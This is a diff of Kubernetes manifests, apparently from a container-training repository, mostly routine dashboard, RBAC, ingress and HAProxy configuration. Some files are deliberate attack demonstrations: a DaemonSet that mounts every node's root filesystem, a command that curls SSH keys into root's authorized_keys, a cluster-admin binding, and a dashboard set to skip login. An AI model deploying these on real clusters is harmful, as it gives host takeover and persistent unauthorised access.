+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+rules:
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-key-holder
+  - kubernetes-dashboard-certs
+  - kubernetes-dashboard-csrf
+  resources:
+  - secrets
+  verbs:
+  - get
+  - update
+  - delete
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-settings
+  resources:
+  - configmaps
+  verbs:
+  - get
+  - update
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - dashboard-metrics-scraper
+  resources:
+  - services
+  verbs:
+  - proxy
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - 'http:heapster:'
+  - 'https:heapster:'
+  - dashboard-metrics-scraper
+  - http:dashboard-metrics-scraper
+  resources:
+  - services/proxy
+  verbs:
+  - get
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Service
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+    kubernetes.io/cluster-service: "true"
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+  - name: https
+    port: 443
+    targetPort: https
+  selector:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/name: kubernetes-dashboard
+  type: ClusterIP
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/component: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/name: kubernetes-dashboard
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  template:
+    metadata:
+      annotations: null
+      labels:
+        app.kubernetes.io/component: kubernetes-dashboard
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/name: kubernetes-dashboard
+        app.kubernetes.io/version: 2.6.1
+        helm.sh/chart: kubernetes-dashboard-5.10.0
+    spec:
+      containers:
+      - args:
+        - --namespace=kubernetes-dashboard
+        - --auto-generate-certificates
+        - --sidecar-host=http://127.0.0.1:8000
+        image: kubernetesui/dashboard:v2.6.1
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8443
+            scheme: HTTPS
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: kubernetes-dashboard
+        ports:
+        - containerPort: 8443
+          name: https
+          protocol: TCP
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /certs
+          name: kubernetes-dashboard-certs
+        - mountPath: /tmp
+          name: tmp-volume
+      - image: kubernetesui/metrics-scraper:v1.0.8
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8000
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: dashboard-metrics-scraper
+        ports:
+        - containerPort: 8000
+          protocol: TCP
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-volume
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - emptyDir: {}
+        name: tmp-volume

k8s/dashboard-with-token.yaml

@@ -0,0 +1,346 @@
+# This file was generated with the script ./update-dashboard-yaml.sh.
+#
+---
+apiVersion: v1
+kind: Namespace
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard
+spec: {}
+status: {}
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-certs
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-csrf
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+kind: Secret
+metadata:
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-key-holder
+  namespace: kubernetes-dashboard
+type: Opaque
+---
+apiVersion: v1
+data: null
+kind: ConfigMap
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-settings
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRole
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-metrics
+rules:
+- apiGroups:
+  - metrics.k8s.io
+  resources:
+  - pods
+  - nodes
+  verbs:
+  - get
+  - list
+  - watch
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard-metrics
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: kubernetes-dashboard-metrics
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: Role
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+rules:
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-key-holder
+  - kubernetes-dashboard-certs
+  - kubernetes-dashboard-csrf
+  resources:
+  - secrets
+  verbs:
+  - get
+  - update
+  - delete
+- apiGroups:
+  - ""
+  resourceNames:
+  - kubernetes-dashboard-settings
+  resources:
+  - configmaps
+  verbs:
+  - get
+  - update
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - dashboard-metrics-scraper
+  resources:
+  - services
+  verbs:
+  - proxy
+- apiGroups:
+  - ""
+  resourceNames:
+  - heapster
+  - 'http:heapster:'
+  - 'https:heapster:'
+  - dashboard-metrics-scraper
+  - http:dashboard-metrics-scraper
+  resources:
+  - services/proxy
+  verbs:
+  - get
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: RoleBinding
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: Role
+  name: kubernetes-dashboard
+subjects:
+- kind: ServiceAccount
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: Service
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+    kubernetes.io/cluster-service: "true"
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  ports:
+  - name: https
+    port: 443
+    targetPort: https
+  selector:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/name: kubernetes-dashboard
+  type: NodePort
+---
+apiVersion: apps/v1
+kind: Deployment
+metadata:
+  annotations: null
+  labels:
+    app.kubernetes.io/component: kubernetes-dashboard
+    app.kubernetes.io/instance: kubernetes-dashboard
+    app.kubernetes.io/managed-by: Helm
+    app.kubernetes.io/name: kubernetes-dashboard
+    app.kubernetes.io/version: 2.6.1
+    helm.sh/chart: kubernetes-dashboard-5.10.0
+  name: kubernetes-dashboard
+  namespace: kubernetes-dashboard
+spec:
+  replicas: 1
+  selector:
+    matchLabels:
+      app.kubernetes.io/component: kubernetes-dashboard
+      app.kubernetes.io/instance: kubernetes-dashboard
+      app.kubernetes.io/name: kubernetes-dashboard
+  strategy:
+    rollingUpdate:
+      maxSurge: 0
+      maxUnavailable: 1
+    type: RollingUpdate
+  template:
+    metadata:
+      annotations: null
+      labels:
+        app.kubernetes.io/component: kubernetes-dashboard
+        app.kubernetes.io/instance: kubernetes-dashboard
+        app.kubernetes.io/managed-by: Helm
+        app.kubernetes.io/name: kubernetes-dashboard
+        app.kubernetes.io/version: 2.6.1
+        helm.sh/chart: kubernetes-dashboard-5.10.0
+    spec:
+      containers:
+      - args:
+        - --namespace=kubernetes-dashboard
+        - --auto-generate-certificates
+        - --sidecar-host=http://127.0.0.1:8000
+        image: kubernetesui/dashboard:v2.6.1
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8443
+            scheme: HTTPS
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: kubernetes-dashboard
+        ports:
+        - containerPort: 8443
+          name: https
+          protocol: TCP
+        resources:
+          limits:
+            cpu: 2
+            memory: 200Mi
+          requests:
+            cpu: 100m
+            memory: 200Mi
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /certs
+          name: kubernetes-dashboard-certs
+        - mountPath: /tmp
+          name: tmp-volume
+      - image: kubernetesui/metrics-scraper:v1.0.8
+        imagePullPolicy: IfNotPresent
+        livenessProbe:
+          httpGet:
+            path: /
+            port: 8000
+            scheme: HTTP
+          initialDelaySeconds: 30
+          timeoutSeconds: 30
+        name: dashboard-metrics-scraper
+        ports:
+        - containerPort: 8000
+          protocol: TCP
+        securityContext:
+          allowPrivilegeEscalation: false
+          readOnlyRootFilesystem: true
+          runAsGroup: 2001
+          runAsUser: 1001
+        volumeMounts:
+        - mountPath: /tmp
+          name: tmp-volume
+      securityContext:
+        seccompProfile:
+          type: RuntimeDefault
+      serviceAccountName: kubernetes-dashboard
+      volumes:
+      - name: kubernetes-dashboard-certs
+        secret:
+          secretName: kubernetes-dashboard-certs
+      - emptyDir: {}
+        name: tmp-volume
+---
+apiVersion: rbac.authorization.k8s.io/v1
+kind: ClusterRoleBinding
+metadata:
+  creationTimestamp: null
+  name: kubernetes-dashboard:cluster-admin
+roleRef:
+  apiGroup: rbac.authorization.k8s.io
+  kind: ClusterRole
+  name: cluster-admin
+subjects:
+- kind: ServiceAccount
+  name: cluster-admin
+  namespace: kubernetes-dashboard
+---
+apiVersion: v1
+kind: ServiceAccount
+metadata:
+  creationTimestamp: null
+  name: cluster-admin
+  namespace: kubernetes-dashboard

k8s/efk.yaml

@@ -5,7 +5,7 @@ metadata:
   name: fluentd
   namespace: default
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
   name: fluentd
@@ -21,7 +21,7 @@ rules:
   - watch
 ---
 kind: ClusterRoleBinding
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 metadata:
   name: fluentd
 roleRef:

k8s/elasticsearch-operator.yaml

@@ -11,7 +11,7 @@ metadata:
   name: elasticsearch-operator
   namespace: elasticsearch-operator
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
   name: elasticsearch-operator
@@ -41,7 +41,7 @@ rules:
   resources: ["elasticsearchclusters"]
   verbs: ["*"]
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRoleBinding
 metadata:
   name: elasticsearch-operator
@@ -55,13 +55,16 @@ subjects:
   name: elasticsearch-operator
   namespace: elasticsearch-operator
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: Deployment
 metadata:
   name: elasticsearch-operator
   namespace: elasticsearch-operator
 spec:
   replicas: 1
+  selector:
+    matchLabels:
+      name: elasticsearch-operator
   template:
     metadata:
       labels:

k8s/event-node.yaml

@@ -0,0 +1,30 @@
+kind: Event
+apiVersion: v1
+metadata:
+  generateName: hello-
+  labels:
+    container.training/test: ""
+
+#eventTime: "2020-07-04T00:00:00.000000Z"
+#firstTimestamp: "2020-01-01T00:00:00.000000Z"
+#lastTimestamp: "2020-12-31T00:00:00.000000Z"
+#count: 42
+
+involvedObject:
+  kind: Node
+  apiVersion: v1
+  name: kind-control-plane
+  # Note: the uid should be the Node name (not the uid of the Node).
+  # This might be specific to global objects.
+  uid: kind-control-plane
+
+type: Warning
+reason: NodeOverheat
+message: "Node temperature exceeds critical threshold"
+action: Hello
+source:
+  component: thermal-probe
+  #host: node1
+#reportingComponent: ""
+#reportingInstance: ""
+

k8s/event-pod.yaml

@@ -0,0 +1,36 @@
+kind: Event
+apiVersion: v1
+metadata:
+  # One convention is to use <objectname>.<timestamp>,
+  # where the timestamp is taken with a nanosecond
+  # precision and expressed in hexadecimal.
+  # Example: web-5dcb957ccc-fjvzc.164689730a36ec3d
+  name: hello.1234567890
+  # The label doesn't serve any purpose, except making
+  # it easier to identify or delete that specific event.
+  labels:
+    container.training/test: ""
+
+#eventTime: "2020-07-04T00:00:00.000000Z"
+#firstTimestamp: "2020-01-01T00:00:00.000000Z"
+#lastTimestamp: "2020-12-31T00:00:00.000000Z"
+#count: 42
+
+involvedObject:
+  ### These 5 lines should be updated to refer to an object.
+  ### Make sure to put the correct "uid", because it is what
+  ### "kubectl describe" is using to gather relevant events.
+  #apiVersion: v1
+  #kind: Pod
+  #name: magic-bean
+  #namespace: blue
+  #uid: 7f28fda8-6ef4-4580-8d87-b55721fcfc30
+
+type: Normal
+reason: BackupSuccessful
+message: "Object successfully dumped to gitops repository"
+source:
+  component: gitops-sync
+#reportingComponent: ""
+#reportingInstance: ""
+

k8s/filebeat.yaml

@@ -52,7 +52,7 @@ data:
         - add_kubernetes_metadata:
             in_cluster: true
 ---
-apiVersion: extensions/v1beta1
+apiVersion: apps/v1
 kind: DaemonSet
 metadata:
   name: filebeat
@@ -60,6 +60,9 @@ metadata:
   labels:
     k8s-app: filebeat
 spec:
+  selector:
+    matchLabels:
+      k8s-app: filebeat
   template:
     metadata:
       labels:
@@ -128,7 +131,7 @@ spec:
           path: /var/lib/filebeat-data
           type: DirectoryOrCreate
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRoleBinding
 metadata:
   name: filebeat
@@ -141,7 +144,7 @@ roleRef:
   name: filebeat
   apiGroup: rbac.authorization.k8s.io
 ---
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRole
 metadata:
   name: filebeat

k8s/grant-admin-to-dashboard.yaml

@@ -1,4 +1,4 @@
-apiVersion: rbac.authorization.k8s.io/v1beta1
+apiVersion: rbac.authorization.k8s.io/v1
 kind: ClusterRoleBinding
 metadata:
   name: kubernetes-dashboard
@@ -11,4 +11,4 @@ roleRef:
 subjects:
 - kind: ServiceAccount
   name: kubernetes-dashboard
-  namespace: kube-system
+  namespace: kube-system

k8s/hackthecluster.yaml

@@ -0,0 +1,34 @@
+apiVersion: apps/v1
+kind: DaemonSet
+metadata:
+  name: hackthecluster
+spec:
+  selector:
+    matchLabels:
+      app: hackthecluster
+  template:
+    metadata:
+      labels:
+        app: hackthecluster
+    spec:
+      volumes:
+      - name: slash
+        hostPath:
+          path: /
+      tolerations:
+      - effect: NoSchedule
+        operator: Exists
+      containers:
+      - name: alpine
+        image: alpine
+        volumeMounts:
+        - name: slash
+          mountPath: /hostfs
+        command:
+        - sleep
+        - infinity
+        securityContext:
+          #privileged: true
+          capabilities:
+            add:
+            - SYS_CHROOT

k8s/hacktheplanet.yaml

@@ -27,7 +27,7 @@ spec:
         command:
         - sh
         - -c
-        - "apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
+        - "mkdir -p /root/.ssh && apk update && apk add curl && curl https://github.com/jpetazzo.keys > /root/.ssh/authorized_keys"
       containers:
       - name: web
         image: nginx

k8s/haproxy.cfg

@@ -1,18 +1,16 @@
 global
   daemon
-  maxconn 256
 
 defaults
   mode tcp
-  timeout connect 5000ms
-  timeout client 50000ms
-  timeout server 50000ms
+  timeout connect 5s
+  timeout client 50s
+  timeout server 50s
 
-frontend the-frontend
+listen very-basic-load-balancer
   bind *:80
-  default_backend the-backend
-
-backend the-backend
-  server google.com-80 google.com:80 maxconn 32 check
-  server ibm.fr-80 ibm.fr:80 maxconn 32 check
+  server blue color.blue.svc:80
+  server green color.green.svc:80
 
+# Note: the services above must exist,
+# otherwise HAproxy won't start.

k8s/hpa-v2-pa-httplat.yaml

@@ -0,0 +1,29 @@
+kind: HorizontalPodAutoscaler
+apiVersion: autoscaling/v2beta2
+metadata:
+  name: rng
+spec:
+  scaleTargetRef:
+    apiVersion: apps/v1
+    kind: Deployment
+    name: rng
+  minReplicas: 1
+  maxReplicas: 20
+  behavior:
+    scaleUp:
+        stabilizationWindowSeconds: 60
+    scaleDown:
+        stabilizationWindowSeconds: 180
+  metrics:
+  - type: Object
+    object:
+      describedObject:
+        apiVersion: v1
+        kind: Service
+        name: httplat
+      metric:
+        name: httplat_latency_seconds
+      target:
+        type: Value
+        value: 0.1
+

k8s/ingress-v1.yaml

@@ -0,0 +1,20 @@
+apiVersion: networking.k8s.io/v1
+kind: Ingress
+metadata:
+  name: whatever
+spec:
+  #tls:
+  #- secretName: whatever.A.B.C.D.nip.io
+  #  hosts:
+  #  - whatever.A.B.C.D.nip.io
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        pathType: Prefix
+        backend:
+          service:
+            name: whatever
+            port:
+              number: 1234

k8s/ingress-v1beta1.yaml

@@ -0,0 +1,17 @@
+apiVersion: networking.k8s.io/v1beta1
+kind: Ingress
+metadata:
+  name: whatever
+spec:
+  #tls:
+  #- secretName: whatever.A.B.C.D.nip.io
+  #  hosts:
+  #  - whatever.A.B.C.D.nip.io
+  rules:
+  - host: whatever.A.B.C.D.nip.io
+    http:
+      paths:
+      - path: /
+        backend:
+          serviceName: whatever
+          servicePort: 1234

k8s/ingress.yaml

@@ -1,13 +0,0 @@
-apiVersion: networking.k8s.io/v1beta1
-kind: Ingress
-metadata:
-  name: whatever
-spec:
-  rules:
-  - host: whatever.A.B.C.D.nip.io
-    http:
-      paths:
-      - path: /
-        backend:
-          serviceName: whatever
-          servicePort: 1234

k8s/ingress.yaml

@@ -0,0 +1 @@
+ingress-v1beta1.yaml

k8s/insecure-dashboard.yaml

@@ -1,360 +0,0 @@
-# Copyright 2017 The Kubernetes Authors.
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#     http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-apiVersion: v1
-kind: Namespace
-metadata:
-  name: kubernetes-dashboard
-
----
-
-apiVersion: v1
-kind: ServiceAccount
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-
----
-
-kind: Service
-apiVersion: v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  ports:
-    - port: 443
-      targetPort: 8443
-  selector:
-    k8s-app: kubernetes-dashboard
-
----
-
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard-certs
-  namespace: kubernetes-dashboard
-type: Opaque
-
----
-
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard-csrf
-  namespace: kubernetes-dashboard
-type: Opaque
-data:
-  csrf: ""
-
----
-
-apiVersion: v1
-kind: Secret
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard-key-holder
-  namespace: kubernetes-dashboard
-type: Opaque
-
----
-
-kind: ConfigMap
-apiVersion: v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard-settings
-  namespace: kubernetes-dashboard
-
----
-
-kind: Role
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-rules:
-  # Allow Dashboard to get, update and delete Dashboard exclusive secrets.
-  - apiGroups: [""]
-    resources: ["secrets"]
-    resourceNames: ["kubernetes-dashboard-key-holder", "kubernetes-dashboard-certs", "kubernetes-dashboard-csrf"]
-    verbs: ["get", "update", "delete"]
-    # Allow Dashboard to get and update 'kubernetes-dashboard-settings' config map.
-  - apiGroups: [""]
-    resources: ["configmaps"]
-    resourceNames: ["kubernetes-dashboard-settings"]
-    verbs: ["get", "update"]
-    # Allow Dashboard to get metrics.
-  - apiGroups: [""]
-    resources: ["services"]
-    resourceNames: ["heapster", "dashboard-metrics-scraper"]
-    verbs: ["proxy"]
-  - apiGroups: [""]
-    resources: ["services/proxy"]
-    resourceNames: ["heapster", "http:heapster:", "https:heapster:", "dashboard-metrics-scraper", "http:dashboard-metrics-scraper"]
-    verbs: ["get"]
-
----
-
-kind: ClusterRole
-apiVersion: rbac.authorization.k8s.io/v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-rules:
-  # Allow Metrics Scraper to get metrics from the Metrics server
-  - apiGroups: ["metrics.k8s.io"]
-    resources: ["pods", "nodes"]
-    verbs: ["get", "list", "watch"]
-
----
-
-apiVersion: rbac.authorization.k8s.io/v1
-kind: RoleBinding
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: Role
-  name: kubernetes-dashboard
-subjects:
-  - kind: ServiceAccount
-    name: kubernetes-dashboard
-    namespace: kubernetes-dashboard
-
----
-
-apiVersion: rbac.authorization.k8s.io/v1
-kind: ClusterRoleBinding
-metadata:
-  name: kubernetes-dashboard
-roleRef:
-  apiGroup: rbac.authorization.k8s.io
-  kind: ClusterRole
-  name: kubernetes-dashboard
-subjects:
-  - kind: ServiceAccount
-    name: kubernetes-dashboard
-    namespace: kubernetes-dashboard
-
----
-
-kind: Deployment
-apiVersion: apps/v1
-metadata:
-  labels:
-    k8s-app: kubernetes-dashboard
-  name: kubernetes-dashboard
-  namespace: kubernetes-dashboard
-spec:
-  replicas: 1
-  revisionHistoryLimit: 10
-  selector:
-    matchLabels:
-      k8s-app: kubernetes-dashboard
-  template:
-    metadata:
-      labels:
-        k8s-app: kubernetes-dashboard
-    spec:
-      containers:
-        - name: kubernetes-dashboard
-          image: kubernetesui/dashboard:v2.0.0-rc2
-          imagePullPolicy: Always
-          ports:
-            - containerPort: 8443
-              protocol: TCP
-          args:
-            - --auto-generate-certificates
-            - --namespace=kubernetes-dashboard
-            # Uncomment the following line to manually specify Kubernetes API server Host
-            # If not specified, Dashboard will attempt to auto discover the API server and connect
-            # to it. Uncomment only if the default does not work.
-            # - --apiserver-host=http://my-address:port
-            - --enable-skip-login
-          volumeMounts:
-            - name: kubernetes-dashboard-certs
-              mountPath: /certs
-              # Create on-disk volume to store exec logs
-            - mountPath: /tmp
-              name: tmp-volume
-          livenessProbe:
-            httpGet:
-              scheme: HTTPS
-              path: /
-              port: 8443
-            initialDelaySeconds: 30
-            timeoutSeconds: 30
-          securityContext:
-            allowPrivilegeEscalation: false
-            readOnlyRootFilesystem: true
-            runAsUser: 1001
-            runAsGroup: 2001
-      volumes:
-        - name: kubernetes-dashboard-certs
-          secret:
-            secretName: kubernetes-dashboard-certs
-        - name: tmp-volume
-          emptyDir: {}
-      serviceAccountName: kubernetes-dashboard
-      nodeSelector:
-        "beta.kubernetes.io/os": linux
-      # Comment the following tolerations if Dashboard must not be deployed on master
-      tolerations:
-        - key: node-role.kubernetes.io/master
-          effect: NoSchedule
-
----
-
-kind: Service
-apiVersion: v1
-metadata:
-  labels:
-    k8s-app: dashboard-metrics-scraper
-  name: dashboard-metrics-scraper
-  namespace: kubernetes-dashboard
-spec:
-  ports:
-    - port: 8000
-      targetPort: 8000
-  selector:
-    k8s-app: dashboard-metrics-scraper
-
----
-
-kind: Deployment
-apiVersion: apps/v1
-metadata:
-  labels:
-    k8s-app: dashboard-metrics-scraper
-  name: dashboard-metrics-scraper
-  namespace: kubernetes-dashboard
-spec:
-  replicas: 1
-  revisionHistoryLimit: 10
-  selector:
-    matchLabels:
-      k8s-app: dashboard-metrics-scraper
-  template:
-    metadata:
-      labels:
-        k8s-app: dashboard-metrics-scraper
-      annotations:
-        seccomp.security.alpha.kubernetes.io/pod: 'runtime/default'
-    spec:
-      containers:
-        - name: dashboard-metrics-scraper
-          image: kubernetesui/metrics-scraper:v1.0.2
-          ports:
-            - containerPort: 8000
-              protocol: TCP
-          livenessProbe:
-            httpGet:
-              scheme: HTTP
-              path: /
-              port: 8000
-            initialDelaySeconds: 30
-            timeoutSeconds: 30
-          volumeMounts:
-          - mountPath: /tmp
-            name: tmp-volume
-          securityContext:
-            allowPrivilegeEscalation: false
-            readOnlyRootFilesystem: true
-            runAsUser: 1001
-            runAsGroup: 2001
-      serviceAccountName: kubernetes-dashboard
-      nodeSelector:
-        "beta.kubernetes.io/os": linux
-      # Comment the following tolerations if Dashboard must not be deployed on master
-      tolerations:
-        - key: node-role.kubernetes.io/master
-          effect: NoSchedule
-      volumes:
-        - name: tmp-volume
-          emptyDir: {}
-
----
-
-apiVersion: apps/v1
-kind: Deployment
-metadata:
-  labels:
-    app: dashboard
-  name: dashboard
-spec:
-  selector:
-    matchLabels:
-      app: dashboard
-  template:
-    metadata:
-      labels:
-        app: dashboard
-    spec:
-      containers:
-      - args:
-        - sh
-        - -c
